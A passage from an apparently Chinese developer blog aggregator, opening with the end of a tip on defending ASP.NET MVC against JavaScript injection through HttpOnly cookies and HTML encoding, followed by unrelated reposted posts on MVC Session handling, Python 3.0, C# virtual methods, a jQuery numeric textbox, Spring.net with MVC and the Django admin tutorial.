幸运的是,Microsoft对此采取了预防措 施,使得很难窃取Forms Authentication和Session State Cookies。它们的Cookies都是HttpOnly Cookie。HttpOnly Cookie是一种特殊的Cookie,它不能通过客户端代码读取。你只能在Web服务器上读取HttpOnly Cookie。

Microsoft Internet Explorer、Firefox和Opera都支持HttpOnly Cookies。Safari和一些比较老的浏览器——很不幸——不支持。因此,你仍需要注意为所有用户输入数据进行HTML编码,以避免黑客盗取 Forms Authentication和Session State Cookie。

小结

该Tip的目的是通过恐吓教会你做正确的事情。正如在简介中提到那样,JavaScript注入攻击是最常见的安全攻击类型。很多开发者并没有花费太多时间关心它。希望该Tip能够让你注意,每当在MVC视图中显示从用户那里收集来得数据时,都要进行编码。

你可以通过点击下面的链接来尝试本文讨论的代码。当你输入用户名和密码后,单击登录表单中的按钮,用户名和密码会出现在StolenPasswords数据库表中。
此处下载源代码:http://weblogs.asp.net/blogs/stephenwalther/Downloads/Tip7/Tip7.zip

[MVC]Asp.net MVC中的Session

mikel阅读(790)

最近使用ASP.NET MVC 中的Controller.Session对象时发现一个问题
原代码如下:
InformationController:
            //网店控制器
            ShopController shop = new ShopController();
            UserInfo user = business.SelectById<UserInfo>(userId);
            //查询用户
            Session["User"] = user;
            //图片信息
            //定位到编辑图片信息页面
            if (picture == 1)
            {
                return shop.EditProduct(identifier, modId);
            }
            //文字信息
            if (picture == 2)
            {
                return shop.EditInfo(identifier, modId);
            }
ShopController:
        public ActionResult EditInfo(int identifier, int moduleId)
        {
            //如果登录用户为空则重定向到登录界面
            if (null == Session["User"])
            {
                return RedirectToAction("Index", "User");
            }
        }
实现的功能就是,通过InfomationController赋值Session["User"]对象,然后调用ShopController的action
但是上述代码执行后,shopController中读取不到Session["User"]?!于是想到Session是MVC封装到
Controller的一个属性Session,因此将上述对Session["user"]的赋值只是针对informationController
而不是shopController,因此shopController读取不到Session["User"]所以出错
将代码改为:
InformationController:
            //网店控制器
            ShopController shop = new ShopController();
            UserInfo user = business.SelectById<UserInfo>(userId);
            //查询用户
            shop.Session["User"] = user;
问题解决,但是还有个疑问就是为什么我用户登录的Session["User"]ShopController就能够调用呢?
看来需要看看MVC源码了
翻看了MVC的源码发现先前的修改是错的,同样是提示NullReferenceException
Controller的源码中Session属性的声明如下:
        public HttpSessionStateBase Session {
            get {
                return HttpContext == null ? null : HttpContext.Session;
            }
        }
原来是只读属性,于是单步跟踪发现
ShopController shop= new ShopController();
创建后的Shop控制器的Session属性为Null,结果给Session["User"]赋值肯定报空指针异常,于是发现直接创建
Cotroller肯定不行,于是改用RedirectToAction()问题解决

[Python]Python3.0发布

mikel阅读(768)

     Python 3.0 已经正式发布。Python 3.0 又称“Python3000”或“Py3k”,历经近 3 年的开发,是 Python 发布历史中的一个里程碑版本。 需要注意的是,Python 3.0 与 2.x不兼容,其内置对象已被更改,且许多不赞成的特性也最终被移除。不过 Python提供了一个升级工具“2to3”,详情请看:http://docs.python.org/library/2to3.html

     Python 3.0 的新增特性:http://docs.python.org/dev/3.0/whatsnew/3.0.html

  新版本下载:http://python.org/download/releases/3.0/

[C#]C#的虚函数解析机制

mikel阅读(1131)

转载:http://www.cnblogs.com/560889223/archive/2008/12/03/1346340.html

前言

  这篇文章出自我个人对C#虚函数特性的研究和理解,未参考、查阅第三方资料,因此很可能存在谬误之处。我在这里只是为了将我的理解呈现给大家,也希望大家在看到我犯了错误后告诉我。

用词约定

  • “方法的签名”包括返回类型、方法名、参数列表,这三者共同标识了一个方法。
  • “声明方法”,即指出该方法的签名。“定义方法”,则是指定调用方法时执行的代码。
  • “同名方法”是指方法的签名相同的两个方法。
  • “重写”一个方法,意味着子类想继承父类对方法的声明,却想重新定义该方法。
  • 单独使用“使用”一词时,包括“显式”或“隐式”两种使用方式:前者是指在代码中指明,后者是根据语句的上下文推断。
  • 某个类的方法,包括了在该类中定义的方法,以及由继承得到的直接父类的方法。注意这条规则的递归性质。  

理论部分

  在父类与子类里,除了类之间的继承链,还存在方法之间的继承链。

  C#里,在一个类中声明一个方法时,有四个和方法的继承性有关的关键字:newvirtualsealedoverride

  • virtual 表示允许子类的同名方法与其建立继承链。
  • override 表示其与父类的同名方法之间建立了继承链,并隐式使用 virtual 关键字。
  • new 表示其切断了其与父类的同名方法之间的继承链。
  • sealed 表示将其与父类的同名方法建立继承链(注意这个就是 override 关键字的特性),并且不允许子类的同名方法与其建立继承链。在使用 sealed 关键字时,必须同时显式使用 override 关键字。

  以及:

  • 在定义方法时,若不使用以上关键字,方法就会具有new关键字的特性。对于这一点,如果父类中没有同名方法,则没有任何影响;如果父类中存在一个同名方法,编译器会给出一个警告,询问你是否是想隐藏父类的同名方法,并推荐你显式地为其指定new关键字。

  ①其:指代正在进行声明的方法。

 

  依照上述的说明,在调用类上的某个方法时,可以为该方法构建出一个或多个“方法继承链”。首先列出从子类一直到父类的类继承链,并列出这些类对该方法的最初定义或重定义。然后从父类到子类,逐个检查每个类对该方法的定义,按以下规则构造方法继承链:

  1. 任何一个没有使用 overridesealed 关键字的方法定义都将成为继承链的开端;
  2. 如果该类在定义方法时使用了 virtual 关键字,则会被附加到继承链中。
  3. 继承链的结束取决于两个因素:若子类中存在使用了 new 关键字的同名方法,则之前的继承链立刻结束(该方法不会被添加到继承链中);若子类中存在使用了 sealed 关键字的同名方法,则在将该方法添加到继承链后,然后结束继承链。

  当你拿到一个子类的实例,却使用父类的对象引用调用一个方法时(例如“A instanceRef = new C(); instanceRef.Foo1()”,这时类型A的引用就指向了类型C的对象),C#会先检查该方法是否为一个虚方法(使用了 virtual 关键字):如果不是,则简单地调用该方法的父类版本即可;如果是,则沿着方法的继承链向下寻找,找到位于继承链底部的那个方法。
  ②子类:指该实例的实际类型。
  ③父类:指在调用方法时,使用的对象引用的类型;该类型必然是子类的父类型。

实践部分

  我定义了以下四个类:

类定义

 

  当运行如下代码时,会打印出什么?

运行这些代码

 

  结果是:

打印出的结果

 

  例子很简单,依照之前的规则,可以画出如下一幅图。图中圆形的末端表示封闭、中断继承链;菱形的末端表示开放、允许构建继承链;类描述中的等式,表示从该类型的对象引用调用对应方法(等号左边的斜体)时,实际执行的代码体是在何处(等号右边的正常字体)定义的。

类继承链与方法继承链

  其实,为了确认这里描述出来的方法的继承链,甚至都不需要实地运行此代码。将代码放在Visual Studio里,使用“重构”(Refactor)菜单中的“重命名”(Rename)修改方法名称,待完成后就会发现在方法继承链的中断处,自动修改符 号名称的动作也中止了。

补充

  对于 this 关键字,上述的规则也适用。只需要将 this 依 照当前的代码上下文翻译为对应的类型引用,就可以依照之前叙述的方法确定最终调用的代码了。例如在C中的Foo1方法里假如有这么一条语 句:“this.Foo2()”。当在外部运行“D.Foo2()”时,就会就会解析到“C.Foo1()”,这时,C.Foo1()方法的内部在解析 “this.Foo2()”时就会解析到D.Foo2()。

  对于 base 关键字,则比较简单,只是在基类的方法(这里“基类的方法”一词,请参见“用词约定”的第6条。)中找到同名方法,然后调用,不存在解析虚函数的过程。

  对于被委托对象包装的方法指针,在调用委托时,仍会按照上述规则解析到正确的方法。

  本文示例中使用了“Foo”开头的方法名,而这个习惯借鉴自一些别的文章。这里是有个典故还是怎么?

[JQuery]一个简单的数字文本框

mikel阅读(946)

转载:http://www.cnblogs.com/Fenrir/archive/2008/12/04/1347981.html
前几天刚好需要用到就临时写了个,有需要的人可以用用看,可以校验输入的字符是否为合法字符,限制输入的字符为“0-9、-、.”,验证输入的值是否在规定范围内,出现违规的输入可以根据警告函数自动弹出错误提示,可限制小数位数,支持任意长度的数字。
 
属性:
MaxValue 设置最大值
MinValue 最小值
NumericDescription 该文本框的描述,用弹出错误提示时输出的信息。
TryParseImperfectThrowException 后台解析失败时是否抛出错误,为false时将使用默认值
DefaultValue 默认值
FractionLength 小数位最大位数
NumericValue 解析文本框得到的数字值
ClientWarning 客户端错误提示函数,如 alert
 
 
当格式发生错误的时候,如用复制黏贴的方式在文本框里输入字母后,当文本框失去焦点则会提示 XXXX 格式错误。XXXX取决于NumericDescription 属性;
 
当输入后的值超出范围时,会自动改变为允许的最大值或最小值。如果用复制黏贴的方式进行输入的当文本框失去焦点则会提示 XXXX 超出范围,必须大于 YYYY小于ZZZZ。XXXX取决于NumericDescription 属性 YYYY 取决于MaxValue ZZZZ取决于MinValue;
 
以上错误提示必须有设置ClientWarning 才会出现提示;
当TryParseImperfectThrowException为false时,如果错误的数据提交到后台不会抛出错误而会返回DefaultValue 的值
 
 
补充下说说设计思路吧,主要说说客户端的验证部分,服务端验证比较简单,因为服务端支持decimal型。
 
    由于JavaScript只支持int和float型的数字,超过就无法正确的转换,所以无法使用parseInt、parseFloat来将输入的文本转换为数字型来比较,所以使用字符串比较的方式来做。
 
    那么怎么使用字符串来比较任意位数的两个数字呢?应该将两个字符串填充为等长的字符串,比如2和100,如果直接进行比较则会变成2比较大,这样的结果显 然不是正确的,但如果把2填充为002就会得出正确的结果。如果是小数部分则往右边填充,比如:2.33和100,则应该填充为002.33和 100.00。这样的话可以正确的比较正数了,再来就是考虑比较正数与负数、或负数与负数的大小。
 
    当两个数字中第一个数为负数,比如-10和-100,如果再按之前的填充方式将会得到0-10和-100,这样显然是错的,所以一开始要将-号删掉,变成 10和100,并且记录下数字是否包含负号。当要填充字符串如上面的-10包含负号的时候进行右对齐并将负号加上变成-010。
 
     当两个数字中第二个数为负数,比如10和-100,照上面的想法删掉负号变成10和100,填充后变成010和100,这样是等长了 但加上负号后变成010和-100,这样数字又不等长了。所以当第二个数为负数而第一个数为正数的情况下必须为第一个数的左边多添加一个‘0’变成 0010和-100;
 
    这样就可以比较各种情况下数字的大小,而其他的一些功能都是小事了。

[Django]编写第一个Django app,第五部分——自定义管理员功能

mikel阅读(786)

转载:http://www.cnblogs.com/reallypride/archive/2008/12/02/1346215.html

自定义admin表单
这足以让我们惊讶好几分钟,所有的代码我们都不需要写。
当我们调用admin.site.register(Poll)时,Django只让你编辑这个对象并”推测“怎么把它显示在管理页面上。
很多时候,你可能想要控制admin的样式和功能。你可以在你注册对象的时候把选项告诉Django来实现。
让我们看一下在编辑表单中是怎样实现重新排序字段的。用下面的代码来替换admin.site.register(Poll):
  class PollAdmin(admin.ModelAdmin):
      fields = ['pub_date', 'question']

  admin.site.register(Poll, PollAdmin)
你将遵循这个模式——创建一个admin模型对象,然后把 它传递给admin.site.register()的第二个参数——任何时候你需要修改admin的选项都是修改一个对象。上面具体的改变 是"Publication date"字段在"Question"字段的前面:


只有两个字段并不会给人留下深刻的印象,但当admin表单包含有大量字段的时候,选择一个直观的排序方式就是一个重要的细节了。
并且,你可能想要把这些大量的表单字段分割归类为字段集:
  class PollAdmin(admin.ModelAdmin):
      fieldsets = [
          (None,               {'fields': ['question']}),
          ('Date information', {'fields': ['pub_date']}),
      ]

  admin.site.register(Poll, PollAdmin)
字段集中每个tuple的第一个元素是字段集的标题。现在我们的表单看起来像这样:


你可以给每个字段集指定任意的HTML样式。Django提供有一个"collapse"样式,它让每个具体的字段集在初始化时显示为折叠的。
当你的一个很长的表单中包含了许多不常用的字段时,这个样式就显得很实用了:
  class PollAdmin(admin.ModelAdmin):
      fieldsets = [
          (None,               {'fields': ['question']}),
          ('Date information', {'fields': ['pub_date'], 'classes': ['collapse']}),
      ]

 
添加关联的对象
OK,我们已经有了一个Poll admin页面。但是一个Poll有多个Choice,管理页面并没有显示Choices。
好的。
有两种方法可以解决这个问题。第一种方法是注册admin Choice,就像我们注册Poll那样。这很容易:
  from mysite.polls.models import Choice

  admin.site.register(Choice)
现在Django admin中的"Choices"已经可用了。这个"Add choice"看起来像这样:


在这表单中,"Poll"字段是一个选择框,包含数据库所有的poll。Django知道,外键在admin中代表一个<select>框。
在我们的例子中,只有poll存在外键。
还注意到"Poll"旁边的"Add Another"链接。每个包含有和其它对象构成外键关系的对象都会有这个链接。
当你单击"Add Another"时,你会得到一组带有"Add poll"表单的窗体。
如果你在窗体中添加一个poll并点击"Save",Django把这个poll保存到数据库中并把它作为选项动态添加到"Add choise"中。
但实际上,这是一种低效的添加Choice对象到系统中的做法。当你在创建Poll对象时,如果你能给它直接添加Choice就更好了。让我们实现它吧。
移去注册Choice模型的register()方法调用。然后,编辑Poll的注册代码:
  class ChoiceInline(admin.StackedInline):
      model = Choice
      extra = 3

  class PollAdmin(admin.ModelAdmin):
      fieldsets = [
          (None,               {'fields': ['question']}),
          ('Date information', {'fields': ['pub_date'], 'classes': ['collapse']}),
      ]
      inlines = [ChoiceInline]

  admin.site.register(Poll, PollAdmin)
这些代码告诉Django:"Choice对象在Poll的admin page中编辑。默认,为3个choice提供足够的字段。"
加载"Add poll"页面看看它是什么样子的:


它是这样工作的:有3个与Choice相关联的栏——在extra中指定的——每次你返回到一个已经创建的对象的"Change"页面时,你都会得到另外3个的额外栏。
但还是有个小问题。它占据了太多的空间来显示关联对象Choice的所有输入域。对于这个问题,Django提供一种制表的方式来显示关联的对象;
你只需要修改一下ChoiceInline的声明就行了:
  class ChoiceInline(admin.TabularInline):
      #…
使用TabularInline (取代StackedInline), 关联的对象显得更紧凑,它是基于表的格式:

自定义admin change list
现在Poll admin页面已经很好了,让我们对"change list"页面做些优化——它用于显示系统中所有的poll。
这是它看起来的样子:


默认,Django显示每个对象的str()。但有时候如果我们能显示个别字段的话会更有效果。
要做到这点,只需使用list_display admin选项,这是一个用于在对象的change list页面内把字段名作为列名显示的tuple:
  class PollAdmin(admin.ModelAdmin):
      # …
      list_display = ('question', 'pub_date')
  Just for good measure, let's also include the was_published_today custom method from Tutorial 1:

  class PollAdmin(admin.ModelAdmin):
      # …
      list_display = ('question', 'pub_date', 'was_published_today')
现在,poll change list页面看起来是这样:


你可以点击列头来排序这些值——除了was_published_today头外,因为排序不支持任何方法的输出值。
还注意到was_published_today列头默认是它的方法名(使用下划线替换空格)。但你可以通过给方法一个简短的属性描述来改变这个名:
  def was_published_today(self):
      return self.pub_date.date() == datetime.date.today()
  was_published_today.short_description = 'Published today?'
让我们对Poll change list页面添加另外的改进:过滤。添加下面的代码到PollAdmin中:
  list_filter = ['pub_date']
添加了一个"Filter"侧边栏让人们使用pub_date字段过滤change list:


这个过滤器显示的样式取决于你要过滤的字段的类型。
因为pub_date是DateTimeField,Django知道给DateTimeField一个默认的过滤器:

  "Any date","Today","Past 7 days","This month","This year"。
现在变得更好了。让我们添加一些检索功能:
  search_fields = ['question']
为change list添加了一个检索框。当有人输入检索值时,Django会检索question字段。
你可以使用多个检索字段——尽管它使用的是LIKE查询,既保证了自身的可读性,也保证了你的数据库的效率了。
最后,因为Poll对象包含有日期,如果能向下操作就更方便了。添加这行代码:
  date_hierarchy = 'pub_date'
它在change list页面添加了一个日期分层的导航。在上层,它显示所有可用的年份。然后向下显示月和日。
现在也是一个注意change lists给你提供了免费的分页功能的好时机。
默认是每页显示50条记录。Change-list的分页,检索,过滤,日期分层和列头排序都按照你想要的效果工作了。

[MVC].net企业级架构实战之7——Spring.net整合Asp.net mvc

mikel阅读(854)

转载:http://www.cnblogs.com/moye/archive/2008/11/30/1344369.html
.net企业级架构实战之7——Spring.net整合Asp.net mvc

既然提到mvc,就不得不说说微软在ASP.NET上的一个重要创造——postback机制。
但凡用ASP.NET做web开发的人,都和这个机制打过交道吧。asp.net页面aspx是其于这种自回发机制运转的。
我们平时用到的web控件,诸如TextBox、Button等,无一不是基于postback进行封装,在最终生成的html页中,它们还是会被转化成为<input type='text'>或者<input type='submit'>。
然后我们可以查看一下页面的源文件代码,会发现.net framework为我们写了不少东西:比如__doPostBack()这个js方法,用于提交窗体;WebForm_OnSubmit()方法会进行 窗体的验证;一个长长的__VIEWSTATE隐藏字段保存窗体上控件的状态信息等(令人发指)……等等。(详述请参见种玉堂的《再认识asp.net的postback机制:探索__doPostBack的来龙去脉 》)。
多么让人又爱又恨的发明! postback确实方便了开发者,尤其是小型应用,手到擒来;但性能呢?不敢恭维!尤其那一长串__VIEWSTATE,每每看到,都觉得揪心。

所以,在项目中的前端表现界面,决定启用mvc实现。
原来使用monoRail,感觉很好,但一直没有解决与Spring.net整合问题;而后来干脆听说,monoRail已经停止维护这个项目,只得作罢。幸好,此时还有一个选择——ASP.NET MVC
经过一段时间的尝试,终于把它与Spring.net整合在了一起,这意味着,mvc能共享到Spring.net中的所有对象,无缝集成。
由于ASP.NET MVCASP.NET 3.5 Extensions Preview 的一个部分,能不能在IIS6+Asp.net 2.0 framework下良好运行,也一度让人担忧,可喜的是,网上很多人都这么干,并且成功了。也就是说,如果决定在.net 2.0下使用ASP.NET MVC(本实例使用的版本为asp.net mvc Preview 4),除引用mvc的dll外(Microsoft.Web.Mvc.dll、System.Web.Mvc.dll等),还需额外的引用一个.net 3.5的dll(System.core.dll),此处提供这个包的下载:

Asp.net mvc preview 4 和 System.core.dll(v3.5):/Files/moye/Asp.Net_MVC_4.rar

简单说,.net mvc将视图(View)与控制器(Controller)进行了分离,表现与逻辑的关注点不再纠缠于一团。而Model的传递,微软提供了一套 DataDictionary(ViewDataDictionary、TempDataDictionary等)。同时,像monoRail一 样,.net mvc在页面中也可以其于模板书写表达式,比如:你可以在Controller中传递一个IList<T>过来,这边接收到对象拆箱后,循环 迭代输出一个行数等同的<Table>。
关于asp.net mvc的详尽原理,此处不累述,有兴趣可参阅 乱世重典的《Asp.net Mvc Framework 系列》。

欧克,回到重点,说说整合的事:

以上图示的结构:
将Controller单拿出来,做一个层,用以响应Web/Views中视图的请求。整合的目标就是:让这些Controller能够被注入,运行于Spring.net容器中。

通过学习Fredrik Normén的经验:《ASP.Net MVC Framework – Create your own IControllerFactory and use Spring.Net for DI 》,我们能知道,要创建自己的ControllerFactory,必须实现System.Web.Mvc的IControllerFactory接口。原型如(.net mvc Preview 4,版本不同接口也可能不一样):

using System;
using System.Web.Routing;
namespace System.Web.Mvc
{
    
public interface IControllerFactory
    {
        IController CreateController(RequestContext context, 
string controllerName);
        
void DisposeController(IController controller);
    }
}

在实现的CreateController方法中,将负责对不同的Views派发对应的Controller。这里做一个假设,/Views目录中有一个 叫User的目录,那框架就认为,这是一个User视图集合(具体表现在url上,如/User/home、/User/login等),应该有一个叫 UserController的控制器对此目录中的所有页面进行响应。

欧克,实践一把:

◆在Web的/Views创建一个web.config文件,并这样配置(它的作用:接管对.aspx页的请求流程):

web.config

◆在/Views中创建一个叫User的目录,并在其下添加一个Home.aspx页。当然这样是不能用的,需要修改一下页面和.cs: 

Home.aspx
Home.aspx.cs

◆此时,还需要一个Controller来负责响应User视图中的请求,如前结构图所示,在woodigg.controllers层中,创建一个UserController类,担当控制器角色:

UserControllers.cs

◆在控制器中,有一个Home方法,它刚好与Home.aspx同名,所以它就是负责响应Home页请求的方法。Home方法有一个整型的参数,说明这个请求也是传递参数的,形如http://localhost/User/Home/1(在.net 2.0 url没这么完美,它形如http://localhost/User.mvc/Home/1),那么1就是这个id参数,然后就去查数据库吧,1号用户的数据将它展示出来,当然这个示例没有取任何东西,只是传递了一个ViewData数据。
而我们也注意到,这里还进行了注入,欧克,开始整合Spring.net和.net mvc控制器工厂吧

◆做一个spring.net配置文件,controllers.xml,还放在web的/config目录中:

controllers.xml

◆然后,为实现IControllerFactory,在bll层中创建一个SpringControllerFactory类(一旦此bll程序集被引用,所有Views请求都将视这个实现类为Handler,控制器由它派发,这是.net mvc一个很妙的设计):

 

SpringControllerFactory.cs

◆这里需要说明的是ParameterFactory:一个静态参数工厂。它将当前站点的SERVER端物理目录存在static string类型的变量中,此处用到的三个变量CfgFilePath、CfgBusinessFilePath、 CfgControllersFilePath,分别为三个spring.net xml配置文件所在的物理路径。
显然,当Views/User/Home.aspx发出请求时,它会在/config/controllers.xml 中找到UserController控制器,并不算完——UserController请求注入UserMainDaoSpring对象,它又会在 /config/business.xml中找到这个对象的定义。完了吗?那得看UserMainDaoSpring是否也有注入别的对象了。
这种情况会乱吗?一点也不,即使你不用spring.net 整合它们,也一样会用到这些对象,只是使用的流程会有一些不同罢了。那么,在这个工厂中,只要捋清楚,你会用到哪些配置就行了(对这些配置xml文件,还 是按用途分类比较好,如页面一个,访问层一个,web services一个……然后,去管理它们!)。


 

[Django]编写第一个Django app,第四部分——初控Django的管理员功能

mikel阅读(863)

启用管理员功能
Django的管理员功能默认是不启用的——这是一个可选项。想要为你的程序启用管理员功能,需要做这三样事情:
  1.在INSTALLED_APPS设置中添加"django.contrib.admin"。

  2.运行python manage.py syncdb。当你添加一个新的应用程序到INSTALLED_APPS时,数据库的表需要手动更新。

  3.编辑文件mysite/urls.py,取消注释"Uncomment the next two lines…"下的那些行注释。这个文件是一个URL映射。

最后,你的urls.py文件应该像下面的那样:

from django.conf.urls.defaults import *
# Uncomment the next two lines to enable the admin:
from django.contrib import admin
admin.autodiscover()
urlpatterns = patterns('',
# Example:
    # (r'^mysite/', include('mysite.foo.urls')),

# Uncomment the admin/doc line below and add 'django.contrib.admindocs'
    # to INSTALLED_APPS to enable admin documentation:
    # (r'^admin/doc/', include('django.contrib.admindocs.urls')),

# Uncomment the next line to enable the admin:
    (r'^admin/(.*)', admin.site.root),
)

 

启动开发版服务器
让我们启动开发版服务器并浏览管理员页面。

  python manage.py runserver

现在,打开浏览器,在你的本地域中进入"/admin/"——如,htt://127.0.0.1:8000/admin/。你将会看到管理员的登录界面:

进入管理员页面

现在,尝试登录一下。(你在前面的教程中已经创建了超级用户帐号,还记得吗?)你将会看到管理员首页:

你会看到一些可编辑的内容,包括组,用户和站点。这些都是Django默认的核心特性。

使poll app在管理员站点中可修改

但我们的poll app在哪里呢?它没有在管理员站点首页出现。

只要做一点点的工作就行了:我们需要告诉admin,Poll对象有一个admin接口。

要做用这点,在你的polls文件夹中创建一个文件admin.py,然后把它编辑成这样:

Code

 

你需要重新启动开发版服务器才能看到你的变化。通常的,这个服务器会在你修改文件后自动重启,但新那一个文件并不会触发它的重启逻辑。

浏览免费的管理功能

现在,我们已经注册了Poll,Django知道了要把它显示在管理员站点的首页上:

单击"Polls"进入polls的"change list"页面。这个页面显示数据库中所有的polls,让我们选择其中一个然后修改它吧。

这里有一个我们在先前的教程中创建的"What's up?" poll:

单击"What's up?" poll然后编辑它:

注意这些东西:

  1.这个表单是根据Poll模型自动生成的。

  2.不现的模型域类型(DateTimeField, CharField)转换成适当的HTML input控件。每种域类型都知道怎样显示在Django的管理员站点中。

  3.每个DateTimeField都会获得一个免费的JavaScript图标。日期是"Today"和一个日历控件,时间是"now"和一个方便的包含有常用的时间值的弹出框。

页面下面的按钮是一些选项:

  1.Save——保存更改并返回列出这个对象类型被更改的部分的页面。

  2.Save and continue editing——保存更改并重新加载这些对象的管理员页面。

  3.Save and add another——保存更改并加载这个对象类型的新的空表单。

  4.Delete——显示一个删除确认页面。

通过单击"Today"和"Now"的快捷图标来更改"Date published"的值。单击"Save and continue editing",然后单击右上角的"History"。

你将看到一个页面,它列出了你通过Django管理功能所做的所有更改,包括时间和更改人的用户名: